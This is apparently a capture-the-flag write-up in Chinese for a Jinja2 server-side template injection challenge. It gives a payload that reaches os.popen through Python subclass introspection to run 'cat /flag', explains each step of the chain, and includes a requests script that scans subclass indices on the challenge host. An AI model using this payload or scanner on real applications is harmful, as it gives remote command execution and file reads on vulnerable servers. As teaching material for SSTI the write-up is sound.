EXP
payload:
?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
解析
‘’ :实例化了一个对象
__class__ :对象的类
__base__ :类对象的直接基类
__subclasses__ :这个类的子类集合,列表形式
__init__ :类的初始化方法
__globals__ :获取这个方法所处空间下可使用的module、方法以及所有变量
popen :os.popen 管道
read() :读取管道中的文本
查找subclasses基类用到的脚本
import requests, re
for i in range(0,400):
r = requests.get("http://1efac99f-ad9f-4eae-8cbc-90c6516726b8.challenge.ctf.show/?name={{''.__class__.__base__.__subclasses__()["+ str(i) +"]}}")
if re.findall("os", r.text):
print(r.url)
print(r.text, i)